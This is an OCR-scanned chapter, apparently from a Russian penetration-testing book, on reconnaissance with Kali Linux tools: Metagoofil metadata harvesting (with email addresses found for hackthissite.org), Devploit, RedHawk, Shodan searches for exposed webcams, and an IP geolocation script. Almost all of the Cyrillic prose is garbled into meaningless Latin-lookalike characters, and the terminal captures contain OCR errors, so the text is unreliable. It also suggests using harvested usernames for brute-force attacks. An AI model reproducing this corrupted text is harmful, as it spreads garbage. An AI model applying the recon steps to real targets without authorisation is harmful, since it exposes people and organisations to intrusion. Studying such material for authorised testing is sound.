[5/5] https://mirror.hackthissite.org/hackthiszine/hackthiszine4.pdf
processing

[+] List of users found:

emadison

[+] List of software found:

Adobe PDF Library 7.0

Adobe InDesign CS2 (4.9)

Acrobat Distiller 8.0.0 (Windows)

PScript5.dll Version 5.2.2

[+] List of paths and servers found:

whooka@gmail.com
htsdevs@gmail.com
never@guess

narc@narc.net
kfiralfia@hotmail.com
user@localhost
user@remotehost.
user@remotehost.com
security@lists.
recipient@provider.com
subscribe@lists.hackbloc.org
staff@hackbloc.org
johndoe@yahoo.com
staff@hackbloc.org
johndoe@yahoo.com
subscribe@lists.hackbloc.org
htsdevs@gmail.com
hackbloc@gmail.com
webmaster@www.ndcp.edu.phpass
webmaster@www.ndcp.edu.phwebmaster@www.ndcp.edu.ph
[webmaster@ndcp

[root@ndcp

D[root@ndcp
window. . .[root@ndcp

. [root@ndcp

goods[root@ndcp
liberation_asusual@yapjames_
e@yahoo.com.au
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13 5T0T0 KO/Ia BUAIHO, UTO M3 COOPAHHBIX JOKYMEHTOB MBI TIOJIY4aeM GOJIBINOE KOJIH-
4ecTBO UH(OPMAIIMK, HAIIPUMED MMeHa 110J1b30BaTesell U CBeJleHUs O Iy TH. Mbl MokeM
3a/IefiCTBOBATD MOJYYEeHHBIE NMEHA MT0Jb30BaTeel JIJIsT TOUCKA Ma0JI0HOB B UMEHAX
U JIJIsI 3aITyCKa aTaku ¢ TIPUMEHeHHeM T1apodist u tpy6oii cusibl. Ho uMeiite B BujLy, 4TO
[IPU B3JIOME YYETHOU 3AMUCH U TTAPOJIS C TIOMOIIBIO TPYOON CHIIBI MOKET TTOSIBUTHCSI
puCK GJIOKUPOBKH YUETHBIX 3aMuceil osib3oBareseil. CBEIeHUs O Ty TH MOKHO 3a/Iei-
CTBOBATh JIJIA OIPE/ICJICHUS TUTIA U BEPCUU ONEPAITMOHHON CUCTEMBI, yCTAHOBJICHHO
Ha I1eJIEBOM KOMITbIoTepe. MBI MOJIYyIUIu BCIo 9Ty WHGPOPMAIINIO, He 3aX0/ Ha CalT
11eJIeBOT0 JIoOMeHa.

Metagoofil rakie criocoben renepuposaTh nHpopmalio B popmare HTML-oruera
(puc. 4.8).

Metagoofil results
Results for: hackthissite.org

85%
; 12%
RO | 0%
1 [ 4 [ 28 | 0 |

[ usernames || Software || Emails || Paths/Servers |
User nmes found:

+ emadison

Software versions found:

+ Adobe PDF Library 7.0

+ Adobe InDesign CS2 (4.0)

» Acrobat Distiller 8§.0.0 (Windows)
« PScript5.dll Version 5.2.2

E-mails found:

» whooka@gmail.com

o htsdevs@ gmail.com

s never@guess

+ parc@narc.net

« Kkfiralfia®@hotmail.com

Puc. 4.8. Otuet B hopmate HTML
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B takom otueTe MbI IoJriydyaemM HH(bOpMaI_[I/IIO 06 UMeHax HOJII)SOBaTe]IefI, BEpCcun
IIporpaMMHOI0 O6€CH€‘{€HI/IH, ajipece SJIGKTpOHHOﬁ IIOYThI U CBE€/IEHWA O CEPpBEPE M3
1eJIeBOro JJOMEHa.

ABTOMaTU3NPOBaHHbIE MHCTPYMEHTbI A/151 CHATUS
oTne4yaTkoB 1 cbopa MHgopMaunn

B sToM paszmese MBI pacCMOTPUM TIOJTHOCTBIO aBTOMAaTU3MPOBAHHbBIE WHCTPYMEHTHI,
B YACTHOCTH JIBA TaKWUX, B COCTAB KOTOPBIX BXOJST HECKOJIBKO (DYHKIIHIT, TO3BOJISI-
FOTIUX BBITIOJTHATD 33/1a4d, KOTOPbIe PaHee BBITOJTHSINCH PAa3HBIMU WHCTPYMEHTAMMU.
OHU HAXOMATCI B CBOOOHOM JIOCTyTIe, U HAWTH WX MOKHO Ha calite https://github.com/.
A1 nHCTpyMeHThI pabdoTarot Kak B Kali Linux 2018.2, tak, Bo3MoskHO, 1 B 60jiee paHHUX
BepCUSIX.

Devploit

Deuvploit 3.6, kotopsiii paspaborai Joker25000, 3asBieH kak WHCTPYMEHT cObopa uHbOP-
Mally 1 JIOCTYIIEH 110 aapecy https://github.com/joker25000/Devploit.

[lepen ncroab3oBaHKeM BaM clefyeT KIOHUpoBaTh Devsploit Ha Baury MaiiuHy
Kali Linux. Toabko korga OyayT IpeACTaBIeHbl BCE OILIMM, Bbl CMOKETE 3aILyCTUTh
MHCTPYMEHTBI BbiOOpa. KiloHupoBaHue BbIIOJIHIETCS JIMITL OAMH pas. Jajee npocto
epexo/uTe B KaTayor Deploy.

OTKpoiiTe HOBBII TEPMUHAJ U, UCIIOJIb3Ysl KOMaH/y cd, IlepeijiuTe B KaTajor, Ha-
pumep Desktop. UToOBI TPOCMOTPETH CIIUCOK € COAEPIKUMBIM KaTajora U yOeAuThCs,
YTO BBl HAXOJIUTECH TaM, T/le HYKHO, BBITIOJTHITE KOMAHIY 1s.

s knoruposanust Devploit Ha KOMITBIOTEp HCIOJB3YHTE KOMaHLy git clone
(puc. 4.9):

git clone https://github.com/joker25000/Devploit.git

root@kali: ~/Desktop e 0 0

File Edit View Search Terminal Help

@kali:~# cd Desktop
tali:~/Desktop# 1s

@kali:~/Desktop# git clone https://github.cum/jokerzsaaalnevpluit.gitl

Puc. 4.9. KomaHga git clone BBeaeHa

Mpun konuposaHum URL-agpeca ¢ Be6-cTpanunubl GitHub npocneaunTte, 4tobbl
B KOHLIe agpeca 6b1/10 06513aTefIbHO yKka3aHo pacluimpenue .git.
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Yro0bl 3aycTUTh KaoHupoBanue (puc. 4.10), HaxxmuTe Kaasuily Enter.

root@kali:~/Desktop# git clone https://github.com/joker25000/Devploit.git
Cloning into 'Devploit' ...

remote: Counting objects: 262, done.

remote: Total 262 (delta ©), reused © (delta ©), pack-reused 262

Receiving objects: 100% (262/262), 280.82 KiB | 39.00 KiB/s, done.
Resolving dellas: 1@ (112/112), done.
root@kali:~/Desktop# ]

Puc. 4.10. KnoHvpoBaHWe yCrnewHo BbIMOSIHEHO

[Toce 3aBepiiennst KIOHUPOBaHUS TiepeliinTe B Katasor Deploy. Ero Mbr cozam Ha
Pa6ouem ctone. /[sig mepexo/ia B HY>KHBIH KaTalor BBeANTe KoMaH/y cd Devploit, a 3atem
JI7IST TIPOCMOTPA COIEPKUMOTO KaTajora BOCTIOMb3yiTech KoMau10i 1s. Cpean 1pyrux
(haiisioB BBI TOJKHBI yBUIETH Devploit.py 1 README . me.

C moMoIib0 KoMaHIbl chmod +x 3allyCTHTE YCTAaHOBKY, a 3aTeM it ctapta Devploit
BBeauTe ./install.

O
|:| Y6eanTecs, 4To Npeablaylumne KOMaH/bl BbINOMHAIOTCS U3 KaTanora Devploit.

ITocie yeranosku Devploit oTKpoiiTe HOBBIN TEPMIHAI U BBEAUTE KOMaHy Devploit,
Kak Mmoka3aHo Ha puc. 4.11.

rootékali:~}Desktohknevbloit# chmod +x install
root@kali:~/Desktop/Devploit# ./install

B e )
AT NE LN L i

Ve

! 1 Moving Devploit folder

v 1Done
*] Creating Icons Dirctory
*] Creating shortcut command Devploit

IF 1
|Run in Terminal<(Dewvploit)= |
IL Al

root@kali:~/Desktop/Devploit# |J

Puc. 4.11. 3anyck Devploit

B Devploit cymecrByer 18 BapuaHTOB aBTOMaTHYeCKOTO cOOpa nHMGOpMAIuu
(puc. 4.12).
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This Is Simple Script By : Joker-Security
Let's Start --= --> -->

DNS Lookup
Whois Lookup
GeoIP Lookup
Subnet Lookup
Port Scanner
Extract Links
Zone Transfer
HTTP Header
Host Finder
IP-Locator
Traceroute
Robots.txt
Host DNS Finder
Revrse IP Lookup
Collection Email
Subdomain Finder
Install & Update

== About Me

=> Exit

s W N

G~
o o o b o o g g

9

08/18 == ==

Puc. 4.12. BapuaHTbl aBTOMaTnyeckoro cbopa nHdopmaumm
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Yro6b1 BHIIOIHUTE orck DNS, BBeguTe 1, a 3aTeM MMsl JOMEHA, HATIPUMEDP WWW . 0 -

ogle.com (puc. 4.13).

Enter 00/18 => == 1

Entre Your Domain :www.google.com

:: Truncated, retrying in TCP mode.

wwiW.google.com. 279 IN A 172.217.6.100
wWwwW.google.com. 178 IN AAAA 2607:f8b0:4009:812::2004

Puc. 4.13. MNMonck DNS

Yrob6bl y3HATh OCHOBHYIO reorpapudeckyio urdopMaiuio o gomene wiv [P, BbI-
Gepure BapraHT 3 1 HaxxMuTe Enter, a 3aTem BBeaute 1P niau gomennoe ums (puc. 4.14).

O064g3aTeIbHO 03HAKOMBTECH € OCTAIbHBIMUI AOCTYITHBIMU OITIIUAMM.

EntEJLBDIIS == == 3

Enter IP Address : www.google.com
IP Address: 173.194.66.103
Country: US

State: California
City: Mountain View
Latitude: 37.419201

Longitude: -122.057404
Continue/Exit->-> |]

Puc. 4.14. Mony4yeHne 0CHOBHOW reorpaduyeckon HdopMaumm
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RedHawk v2

RedHawk Bepcun 2 — eliie ouH HHCTPYMEHT cO0pa MHPOPMAIIMN ¢ MOIIHBIMU (DYHKIIH-
SIMU TUTIA «BCe B 0JIHOM»>. OH [IPUMEHSIETCSI JIJISI PA3BEIKU U cO0pa JIAHHBDIX.

OTKpoliTe HOBOE OKHO TEPMUHAJA U TIepeliinTe Ha Pabouunii cton (1 B KATAJIOT 110
Bamemy Boi6opy). Knonupyiite RedHawk v2, BBensa komanay https://github.com/
th3justhacker/RED_HAWK (puc. 4.15).

root@kali-~# cd Desktop
EIRERYL I L EMoit clone https://github.com/Tuhinshubhra/RED HAWK.git
Cloning into 'RED_HAWK'...

remote: Counting objccts: 79, donc.
e: Total 79 (delta 8), reused ® (delta 8), pack-reused 79
y ovbjects: 108% (79/79), dune.

Puc. 4.15. KnoHnposaHve RedHawk v2

Kak ToJ1bK0 Bce 00bEKTBI 6y/1yT pacmakoBaHbl, C ITOMOIIbI0 KOMaH/bI cd RED_HAWK
nepeiizinTe B Katasor RED_HAWK. Vcrosbayiite KoMaHay 1s, 4TOOBI IPOBEPUTD, UTO (haiix
rhawk . php eficTBUTENbHO cytecTByeT (puc. 4.16).

root@kali:~/Desktop# cd RED HAWK

root@kali:~/Desktop/RED_HAWK# ls

config.php functions.php README.md sqlerrors.ini version.txt
crawl LICENSE rhawk.php var.php
root@kali:~/Desktop/RED_HAWK#

Puc. 4.16. Cogepxxmmoe katanora RED_HAWK

[na 3amycka RedHawk BbI6epI/ITe Tuil php rhawk.php 1 HaKMHUTe KJIaBUIIy Enter.
Eciin Bce OBLIO cieiaHo MPaBUIbHO, Ha 9KPaHe Bbl YBUAUTE CIEAYIOIUYI0 KApTHHKY
(puc. 4.17).

All In One Tool For Information Gathering And Vulnerability Scanning

— |

{c} coded By - R3D#EXOR_2HIN A.K.A Tuh whbhra

[$] Shout Out - You ;)

I!] cURL Module Is Missing! Try 'fi OR Install php-curl
[!] DOM Module Is Missing! Try 'f COMm OR Install php-x

[#] Enter The Website You Want To Scan :

Puc. 4.17. 3anyck RedHawk
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BBemure ajipec nHTEpECYIONIEro Bac caiita u Bpibepute HTTP i HTTPS. 3ateM BbIOepH-
Te OJIMH U3 IOCTYIHBIX BapraHToB. Harnpumep, auist moncka Whois Beeaure 1 (puc. 4.18).

[#] Enter The Website You Want To Scan : google.com

[#] ﬂﬁter 1 For HTTP OR Enter 2 For HTTPS: 2

List Of Scans Or Actions

Scanning Site : https://google.com

Basic Recon (Site Title, IP Address, CMS, Cloudflare Detection, Roboy

Whois Lookup

Geo-IP Lookup
Grab Banners

DNS Lookup

Puc. 4.18. NMouck Whois

Whois-undopmarius s moucka 1mo azpecy https://www.google.com/ orobpaskaercst
crenytomum obpasom (puc. 4.19).

root@kali: ~/Desktop/RED_HAWK

File Edit View Search Terminal Help

[i] Scanning Site: https://google.com
[S] Scan Type : WHOIS Lookup
[~] Whois Lookup Result:

d

Domain Name: GOOGLE.COM

Registry Domain ID: 2138514 DOMAIN_COM-VRSHN

Registrar WHOIS Server: whois.markmonitor.com

Registrar URL: http://www.markmonitor.com

Updated Date: 2018-02-21T18:36:40Z

Creation Date: 1997-89-15T04:00:802

Registry Expiry Date: 2020-09-14T04:00:002

Registrar: MarkMonitor Inc.

Registrar IANA ID: 292

Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
Registrar Abuse Contact Phone: +1.2083895740

Domain Status: clientDeleteProhibited https://icann.org/epp#cl

Domain Status: clientTransferProhibited https://icann.org/epp#d]

bited

d

Domain Status: clientUpdateProhibited https://icann.org/epp#cli

Domain Status: serverDeleteProhibited https://icann.org/eppé#se

Domain Status: serverTransferProhibited https://icann.org/epp#:

bited

d

Domain Status: serverUpdateProhibited https://icann.org/epp#se

Name Server: NS1.GOOGLE.COM
Name Server: NS2.GOOGLE.COM
Name Server: N53.GOOGLE.COM
Name Server: N54.GOOGLE.COM

Puc. 4.19. HalineHHas Whois nHdopmauus ans agpeca https://www.google.com/



142 naBa 4 e T[lonyyeHue oTnevaTka u cbop nHbopmaLmm

PesynbraTer onum 3 s https://www.google.com/ 110 3aXBaTy 6aHHepOB 6y11yT cJe-
nytormumu (puc. 4.20).

[i] Scanning Site: https://google.com
[5] Scan Type : Banner Grabbing

HTTP/1.0 301 Moved Permanently

Location: https://www.google.com/

Content-Type: text/html; charset=UTF-8

Date: Thu, 12 Jul 2018 20:35:00 GMT

Expires: Sat, 11 Aug 2018 20:35:00 GMT
Cache-Control: public, max-age=2592000

Server: gws

Content-Length: 220

X-Xss-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alt-5vc: quic=":443"; ma=2592000; v="44,43,39,35"
HTTP/1.0 200 0K

Date: Thu, 12 Jul 2018 20:35:00 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=I50-8859-1

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Server: gws

X-XSS-Protection: 1: mode=hlock

X-Frame-Options: SAMEORIGIN

Set-Cookie: 1P_JAR=2018-07-12-20; expires=Sat, 11-Aug-2018 20:35:00 GMT;
ain=.google.com

Puc. 4.20. Pe3ynbTathl onumm 3

[Tonck MX (ommus 13) asst Google.com faeT ciemytonuii pesyabrat (puc. 4.21).

[#] Choose Any Scan OR Action From The Above List: 13

[+] Scanning Begins ...
[i] Scanning Site: https://google.com
[S] Scan Type : MX Lookup

IP : 74.125.31.26
HOSTNAME: va-in-T26.1el@0.net

[*] Scanning Complete. Press Enter To Continue OR CTRL + C To Stop

Puc. 4.21. Pe3ynbtathl 0TpaboTkn onumm 13

ITonp3oBaTemio AOCTYITHO HECKOJIBKO OHL[I/HL/,I, BKJIIOYast A — CKaHMPOBAHUE BCETO.

Ncnonb3oBaHne Shodan aAng noucka noakIYeHHbIX
K MHTEpHEeTY yCTPOUCTB
IMouckosas cucrema Shodan HaxopuTcest 1o aapecy shodan.io. ITo He KaKOU-TO ciabeHb-

xult monckosuk. Shodan ¢ TIOMOIIBIO OCHOBHBIX M JIOTIOJTHUTEJIBbHBIX CTPOK 3aIIPOCOB
MOJKeET O6Hapy>KI/IBaTb IMOAKJJIIOYEHHDBIC K I/IHTepHeTy yA3BUMbIEC CUCTEMBI. Be6-caiit
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6b11 paspaboran [Ixonom Masepsu (John Matherly) u cyiectByer okoJio gecaTi Jier.
B Hacrosiiee BpeMst OH CTajl GeCIeHHbBIM HHCTPYMEHTOM JIJIst CHSITHS OTIIEYATKOB Yepe3
WurepHer. Mbl sxuseM B amioxy Mureprera seieii (Internet of Things, 1oT), u cerommst
Bce 6osibliie 1 GoJibIe yeTpoiicTB uMeioT Bbixo B Cerhb. OIHAKO MHOTHE U3 HUX HE 3a-
HIUIIEHBI I0JUKHBIM 00Pa30M, TI0ITOMY CTAHOBSITCS YA3BUMBbI /LIS XAaKEPCKUX aTaK U He
TOJIBKO.

Shodan ckanupyet obriue TOPTHI U BBITIOJTHSIET 3aXBaT GAHHEPOB B PaMKaX MOJTyde-
HYIST OTIIEYATKA, a 3aTeM 0TOOPAKAET YCTPONCTBA, TOCTYHbIE Yepe3 MHTepHeT, BRIoYast
MapIpyTH3aTOPBI U CETEBDIE YCTPOICTBA, BeO-KaMephl U CPEICTBA HAOTIOIEHNST, TOPOIK-
Hble Kamepsl, cepBepbl 1 cucteMbl SCADA 1 MHOTHE pyTHie WHTepecHbIe YCTPOICTBA.

YTo6bI TIOMYYUTH CIIMCOK OTKPBITHIX TIOPTOB U CEPBUCOB, YCTAHOBJIEHHBIX Ha YCTPOH-
CTBE, IOCTATOYHO B CITFICKE PE3YIbTATOB IETKHYTh KHOMKOM MBI Ha OTAETHhHOM
pesyabrare. Kpome toro, Shodan mosBosisieT co3naBaTh OTYETHL.

Ans obecneyeHns KOHMOUAEHUMANBHOCTA U MO HOPUANYECKUM MPUYMHAM
Sl PELLN HE MCMOMb30BaTh CKPUHLLOTHLI pe3ysibTaToB paboTbl Shodan.

ITepen npumenenneM Shodan mocerure caiit www.shodan.io (puc. 4.22).

& < C & https//wwwishodan.io w* 04O @ :

13 Mpusowewsn gy Lba [ Zabbix [§ Amis  f Vector Fpadi: ZARECE Kounyrauwn My MikroTik Routers and Jpyriee 33EAAREM

New to 5i

The search engine for |Buildings
Shodan is the world's first search engine for Internet-connected devices.

| Createa Free Account |

Explore the Internet of Things See the Big Picture

‘Wehsitez are just one part of the Internet. There are power
plants, Smart TVs, refrigeratars and much more that can be
found with Shadan!

Use Shodan to discover which of your devices are connected 1o
the Internet, where they are lacated and who is using them.

Monitor Network Security Get a Competitive Advantage

E ©

@

Keep track of all the computers on your netwark that are Who iz using your product? Where are they located? Use
directly accessible from the Internet. Shodan lets you Shedan to perform empirical market intelligence.
understand your digital footprint.

Puc. 4.22. CtpaHuua caiita www.shodan.io



144 naBa 4 e T[lonyyeHue oTnevaTka u cbop nHbopmaLmm

O6paTuTe BHUMaHUE, YTO 9TOT CEPBHUC Bbl MOKETE HCIOJb30BaTh GECILIATHO.
Ho, ecii BBI He 3apermcTpupyeTech, TO OyeTe OrpaHuyeHbl OJHON CTPaHuIen ¢ pe-
sysabraTamu. Perucrpanus OecriiaTHas, OHa IPEJOCTABIIIET AOCTYII K IEPBBIM ABYM
CTpaHMIAM C OTBETaMU Ha 3arpoc. YToObl HOTyUYUTh JOCTYII KO BCEM pe3yJibTaTaM,
caeyer 0(hOPMUTD TIIATHYIO MOAHCKY.

ITonckosblie 3anpocst B Shodan. Hirke npuBenensl HOMCKOBBIE 3aIIPOCHL, IIPHMeE-
ngemble B Shodan.

Q Kwouesvie crosa — nanonobue webcams (seb-kamepni), CCTV, Cisco, Fortinet, traffic
signal (curHain cserodopa), refrigerator (XOJOAUIBHUK) U JIP.

Q Homepa nopmos — MOKHO yKa3aTh B COOTBETCTBUM cO ciry:kOamu. Hanpumep, 3389
(remote desktop) (yaanenHsiii Pa6oumii cton).

Q Bepcuu OC — BMecTe ¢ KOJIaMH CTPaH MOKHO YKa3aTb ONEPaIlMOHHbIE CUCTEMBI
1 BEPCUU.

O BwmecTe ¢ KJIOUYEBBIMY CJIOBAMY W HOMEPAMU MTOPTOB TaK:Ke MOTYT OBITh YKa3aHbI
HA36aHUS CMPAH.

O MOKHO HUCTIONB30BATD PPasvl I KOMOMHIPOBAHHBIE KITIOUEBDIE CITOBA, BKIIOYAST
MOMYJISIPHBIE TIOUCKOBbIE (DPA3BI, TAKME KAK <NAPOIU 1O YMOIUAHUI >, <HEYOAUHDLLL
6X00 6 cucmemy» u Jp.

Ob6paruTe BHUMaHUE: B BepxXHeii yacTu caiita Shodan npasee moJist BBojia TIOUCKOBOTO
3ampoca HaxoauTcs kHomka Explore (Mccnenosats). [Ipu ee HaskaTUM MOKHO YBHUIETDH
CIIMCOK CCBIJIOK HA PA3JMYHbIE KATErOPUHU U TOIYyJIapHble 3anpochl. OZHUMU U3 PEKO-
MEH/IyeMbIX KaTeropuil siBJsitorcs Industrial Control Systems (IIpombliiieHHbIE cCCTEMBI
yrpaBieHus ) u Databases (basbr 1anHbBIX), a HA BepIINHE TOMYJISIPHOCTH HAXOSTCS
TaKue 3aIPOChI, KaK «BeO-KaMepbl», «<kaMepbl», Netcam 1 «IapoJib 110 YMOJTYAHUIO.

[Ile90K KHONKOII MbIIIK Ha Kareropuu Webcams (Be6-kaMepsbl) 1M BBOJ BbIpasKe-
HIST SQ-WEBCAM IACT HECKOJIBKO PE3YIbTATOB MO Beh-KaMepaM, KOTOPhIe PACTIONOKEHbI
B pasubix crpanax. OOIIUI TTOMCKOBBIN 3aIIpOoc Webcamxp Tak:Ke MO3BOJIUT HANTH Ka-
Mepbl, foctynnbie B aTepHere. MHOTHE M3 9TUX KaMep YIIPaBJISAIOTCS AUCTAaHITMOHHO:
MOZKHO JIeJIaTh TAHOPaMYy, U3MEHITh YTOJI HAaKJIOHa 1 MaciiTad.

Y6eaurech, 4TO 3aKOHOAATENBLCTBO CTPAHbI IIO3BOJISIET BaM UCII0JIb30BaTh Shodan.
YToyHuTe, eCTh JIM I0pUANYECKUEe OrPAaHUYEHNS Ha TIOJy4YeHHe JJOCTYIa K HEKOTOPbIM
ycTpoiicTBaM.

Blue-Thunder-IP-nokaTtop

OTKpoiiTe HOBBII TEPMIHA U IEPEHINTE B KATAJIOT IO BalieMy BbIOOPY. MBI /7t 9TOTO
IpuMepa UCII0JIb30Bas1 Pabouwii cTon.

Cospaiite kon Blue-Thunder-1P-Locator us GitHub. [Is1s1 aToro ucro/b3yiite Komas-
ny git clone https://github.com/th3shalOwbro4rs/Blue-Thunder-IP-Locator-.git
(puc. 4.23).
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File Edit View Search Terminal Help

root@kali:~# cd Desktop

root@kali:~/Desktop# git clone https://github.com/th3shaldwbro4rs/Blue-Thunder-I
P-Locator-.git

Cloning into 'Blue-Thunder-IP-Locator-'...

remote: Counting objects: 42, done.

remote: Total 42 (delta ©), reused © (delta 0), pack-reused 42
Unpacking objects: 100% (42/42), done.

framewarkl i:~/Desktop#

Puc 4.23. KnoHnposaHue Blue-Thunder-IP-Locator

[Tocste ycmenmmHOTO KIIOHNPOBAHNST UI3MEHUTE KaTaJlorn Ha Blue-Thunder-IP-Locator.

Kax ykasano Ha crpanwuiie https://github.com/CreativeBen/Blue-Thunder-IP-Locator-, 1151
YCTaHOBKHU M 0OHOBJIeHUsT GUOIMOTEK perl cJeyeT BBECTH KOMaHLy apt-get install
liblocal-1lib-perl.

Ecov mipu BBITIOTHEHU U TIPEBIAYINEH KOMaH/BI BOSHUKIA OMnOKa, BBeAUTE Dpkg
--configure -a ¥ MOBTOPUTE TIPEBIAYITYIO KOMaHIy (puc. 4.24).

raot@kali:~IDESktop!Blue-Thunder-IP-Locator-# apt-get install liblocal-lib-perl
E: dpkg was interrupted, you must manually run *‘dpkg --configure -a' to correct
the problem.

root@kali:~/Desktop/Blue-Thunder-IP-Locator-# dpkg --configure -a
Setting up libqt5gml5:amd64 (5.10.1-4)
Setting up baobab (3.28.8-2) ...

Puc. 4.24. YctaHoBka 6ubnunotek perl

BaMm Ha IPOTSIKEHMM BCEro mpolecca OyayT IpeiiaraTbCs pasindHble BAPUAHTbI
yctanoBku. [Ipu rogsiiennu Takux 3arpocoB HaxKuMaiTe Y.

[arnee BBequTe KOMaHy apt-get install libjson-perl u obHoBUTE CHUCTEMY.
[lns aToro BBeuTe apt-get upgrade libjson-perl.

Kpome Toro, ny:kno 6yner ybeaurnbes, uro Blue-Thunder umeer coorsercrByioniye
mostHOMOuMs. 11t aToro BBeAMTE KOMaHIy chmod +x blue_thunder.pl (puc. 4.25).

root@kali:~/Desktop/Blue-Thunder-IP-Locator-#
root@kali:~/Desktop/Blue-Thunder-IP-Locator-# chmod +x blue thunder.pl

root@kali:~/Desktop/Blue-Thunder-IP-Locator-#

Puc. 4.25. Hactpoiika Blue-Thunder

Blue-Thunder-IP-Locator tpeGyer onpeaenennbix Perl-saBucumocreii. FIx MOKHO
ABTOMATUYECKU YCTAHABJIMBATH TIPU 3amycke npusioskenus. Tak, Gubanoreka Ruby-
mechanize ipeiHa3HAYEHA [JIs1 aBTOMATU3AI[MK B3AMMO/IEIICTBUS C caiiTaMHu.

IIepen sanyckom Blur-Thunder HeoOX0AMMO BBIIOJHUTH IePEUNCIEHHbIE HUKE
KOMaH/Ibl. Bce 9T KOMaH/Ibl BBIIOJIHAIOTCS U3 KOPHEBOIO KaTAJIOTa.



146 naBa 4 e T[lonyyeHue oTnevaTka u cbop nHbopmaLmm

BBenure apt-get install libhttp-daemon-ssl perl (puc. 4.26).

root@kali:~# sudo apt-get install libhttp-daemon-ssl perl
Reading package lists... Done

Building dependency tree
Reading state information... Done

Puc. 4.26. YcraHoska libhttp-daemon-ss| perl

Bosmoskno, naker libhttp-daemon-ssl ¢ momoubio KoMaH/bl apt-get install
libhttp-daemon-ssl perl He Oyjer Haiizen. He nepesxusaiire, 5T0 B HOPSAIKE BElIeil.
B sToMm ciryuae BoinostHUTE CIeyIONTyio Komauay (puc. 4.27).

Apt-cache search WWW::Mechanize

root@kali:~# apt-cache search WWW::Mechanize

funkload - web testing tool
libhttp-recorder-perl - Perl module to record interaction with websites

Puc. 4.27. MNMouck naketa libhttp-daemon-ssl perl

BroimmorauTe KoMany apt-get install libwww-mechanize-perl (puc. 4.28).

root@kali:~# apt-get install libwww-mechanize-perl
Reading package lists... Done

Building dependency tree
Reading state information... Done

Puc. 4.28. YcraHoBka libwww-mechanize-perl

Terepb, KOr/ia Bce 3aBUCUMOCTH YCTAaHOBJIEHBI U/ U OOHOBJIEHBI, MBI MOJKEM 3a-
nyctuth Blue-Thunder-IP-Locator.

[Tepeiinute B TepMuHaje B Katajgor Blue-Thunder-IP-Locator, BBeINTe KOMaHIY
perl blue_thunder.pl u Ha)kmMuTe KiaaBunry Enter (puc. 4.29).

rootékali:-/Desktop/Blue-Thunder-IP-Locator-# perl blue thunder.pl

Puc. 4.29. 3anyck perl blue_thunder.pl

Y1006BI MONYYUTh MOAPOOHBIE CBEAEHU O TEOJOKAINN, BBEAUTE KOMaHay perl
iplocation.pl, ums xocta, IP niu gomena (Bce KOMaH/Ibl Hy’KHO BBO/UTbH, HAXO/SCh
B KaTasiore Blue-Thunder-IP-Locator).

Hanpumep, uTo6bl HallTH HHGOPMAIIMIO O TeoJOKaIK Google.com, BBEANTE CJIE/LY-
1oruit Koj: perl bluethunder pl www.google. com (puc. 4.30).

OG6parure BHUMaHUE, YTO B BBIBOJIE BBl HaiieTe Ha3BaHUE CTPAHBI, T€ HAXOMUTCS
11eJIeBOM MHTEpHET-TIpoBaii/iep, Ha3BaHue ropojia U PernoHa, MUPOTY U JOJTOTY, Bpe-
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MEHHYIO 30HY U JIpyrue Januble. Ecsin BBeCTH IpeIocTaBIeHHbIE B OTYETE KOOPIUHATBI
(IUPOTY ¥ IOJTOTY) B TI0JIE BBOJIA MOMCKOBOTO 3ampoca B «Kaprax Google», Mmoo Ha
KapTe YBU/IETh PACIONOKEHIE HHTEPECYIOIIETO BaC 0ObEKTa.

Ip Geolocation Tool
By: #Ben (TSB)

IP: 216.58.2 118

ORG: AS15169 Google LLC

ISP: Google

Country: United States - US

City: Miami

Region: Florida - FL

Geo: Lat: 25.7617 - Long: -80.1918

Geo: Latitude: 25.7617 - Long: 25.7617

Time: timezone: America/New York - Long: America/New York
As number/name: as: AS15169 Google LLC - Long: AS15169 Google LLC
ORG: AS15169 Google LLC

Country code: US

Status: success

Puc. 4.30. CBegeHusi 0 reosiokaumm caita www.google.com

Pe3tome

B a70i1 rmaBe Mbl paccMOTpen OYeHb BasKHBIN 3Tall, BBITOJTHAEMbIN TTPU UCITIBITAHUT
Ha IPOHUKHOBeHUe, — atart cbopa utdopmaruu. OOIYHO ITO TEPBLIN AT PU TECTHU-
poBaHuU Ha IpoHUKHOBeHHe. Ha 3TOM 3Talie ciiefyer moctapaTbest coOpaTh Kak MOKHO
6ostbiite nHOOPMAIIH O TeJeBON opraHusaiuu. [locje Toro Kak Mbl MO3HAKOMUMCSI
C MOJIy4eHHO Ha 3TOM sTare uHbopManuel, HaMm OyjeT Jierde, KOrjia Mbl HAUHEM
aTakoBaTh 11eJib. Besmkuit kutalickuit crpater CyHb-113bI OU€Hb JIAKOHUYHO U3JI0XKNJI
obume 3agaun OSINT u c6opa undopmanum: «Ilosnaii cebst, no3naii c6oezo epaza, u mol
sviuzpaecus comiio ume 6e3 nomepo».

ITO BBICKA3bIBaHUE TIOJHOCTBIO OMKCHIBACT 11€JIU U 3a/1a4 TECTUPOBAHUS HA MIPO-
HUKHOBEHUE.

B riiaBe Mbi pazobpaji HECKOJIBKO MHCTPYMEHTOB, BKIoueHHbiX B Kali Linux, Ko-
TOPbIE MOKHO TIPUMEHATH J17ist cbopa uHdopManuu. Mbl HAYaIu ¢ HECKOJIbKIUX 001I1e-
JIOCTYIIHBIX CAHTOB, KOTOPBIE MOKHO UCIIOJIb30BATD /it cOOpa MHMOPMAIIUY O TIETEBOIT
opranuzaiuu. Jlaee ObLIO paccKa3aHO, KakK IPUMEHSITh MHCTPYMEHTBI JiJist cbopa uHbop-
MAaI¥ O PETUCTPAIMHN JOMEHA. 3aTeM Mbl PACCMOTPEJI MHCTPYMEHTDI, KOTOPBIE MOKHO
MCIOJIb30BATD /i ntostydennsd nngopmarm DNS. [Tozke MbI ©3y4usanm UHCTPYMEHTBI
1t cbopa nHbOpMAIUK 0 MAPIIPYTU3AUU. B 3aKII04UTEIbHON YacTH TJIaBbl ObLIK
OTIMCAHbI aBTOMATU3MPOBAHHbBIC MHCTPYMEHTDI, B TOM YHCJIe OUYeHb MOIITHAS TOMCKOBAs
cucrema st Xakepos Shodan.
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B C]IeI[yIOH_[eﬁ rJlaB€ MbI O6CYI[I/IM, KakK O6Hapy>KI/ITI) 11eJib C IIOMOIIbIO CKaHWPOBaHWs,

a TaKKe Kak n3besxarb O6Hapy>K€HI/IH.

Bonpochl

1.
2.

Yro oznavaer ab6pesuarypa OSINT?

